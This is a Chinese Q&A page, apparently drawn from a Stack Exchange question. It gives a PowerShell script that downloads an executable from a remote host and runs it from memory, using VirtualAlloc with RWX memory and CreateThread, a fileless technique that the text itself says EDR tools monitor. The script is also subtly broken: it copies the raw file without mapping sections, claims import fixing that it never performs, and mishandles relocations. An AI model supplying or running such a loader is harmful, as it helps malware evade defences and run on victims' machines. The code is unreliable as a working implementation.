使用PowerShell实现内存中直接运行可执行文件无需写入本地磁盘
需求可行性结论
该需求完全可以实现,核心思路是通过Windows原生API实现PE(可执行文件)的内存反射加载,全程不需要将文件写入磁盘,所有操作都在PowerShell进程的内存空间内完成。
具体实现方法
你参考的DownloadString + iex方案仅适配纯文本的PowerShell脚本,针对二进制EXE需要替换为二进制下载+PE内存加载的逻辑,完整实现代码如下:
# 1. 下载远程EXE的二进制内容到内存变量 $webClient = New-Object System.Net.WebClient $peBinary = $webClient.DownloadData("http://example.com/your-program.exe") # 2. 加载反射执行所需的Windows API $win32Code = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); } "@ Add-Type $win32Code # 3. 解析PE头并修复重定位、导入表,加载到内存 $peHeader = [System.BitConverter]::ToUInt32($peBinary, 0x3C) $optHeaderOffset = $peHeader + 4 + 20 $entryPointRva = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 16) $imageSize = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 56) # 分配内存空间 $baseAddr = [Win32]::VirtualAlloc([IntPtr]::Zero, $imageSize, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($peBinary, 0, $baseAddr, $peBinary.Length) # 重定位与导入表修复逻辑(简化版,适配无复杂依赖的EXE) $relocTableRva = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 128) if ($relocTableRva -ne 0) { $delta = $baseAddr.ToInt64() - [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 28) $relocOffset = $relocTableRva while ($true) { $blockRva = [System.BitConverter]::ToUInt32($peBinary, $relocOffset) $blockSize = [System.BitConverter]::ToUInt32($peBinary, $relocOffset + 4) if ($blockSize -eq 0) { break } $entryCount = ($blockSize - 8) / 2 for ($i = 0; $i -lt $entryCount; $i++) { $entry = [System.BitConverter]::ToUInt16($peBinary, $relocOffset + 8 + $i*2) $type = $entry -shr 12 $offset = $entry -band 0xFFF if ($type -eq 3 -or $type -eq 10) { $patchAddr = [IntPtr]::Add($baseAddr, $blockRva + $offset) $original = [System.Runtime.InteropServices.Marshal]::ReadInt32($patchAddr) [System.Runtime.InteropServices.Marshal]::WriteInt32($patchAddr, $original + $delta) } } $relocOffset += $blockSize } } # 4. 启动执行入口点 $entryAddr = [IntPtr]::Add($baseAddr, $entryPointRva) $threadHandle = [Win32]::CreateThread([IntPtr]::Zero, 0, $entryAddr, [IntPtr]::Zero, 0, [IntPtr]::Zero) [Win32]::WaitForSingleObject($threadHandle, 0xFFFFFFFF)
注意事项
- 上述代码为简化实现,仅适配无额外动态依赖、结构简单的原生EXE,若目标EXE依赖第三方dll、.NET运行时或有复杂的资源调用,需要补充对应的导入表解析、依赖加载逻辑。
- 内存反射加载属于EDR、杀毒软件的重点监控行为,运行时可能被安全拦截。
- 32位和64位PowerShell环境下运行的EXE架构需要匹配,否则会加载失败。
内容的提问来源于stack exchange,提问作者Muhammed Özen
相关产品推荐
相关产品推荐

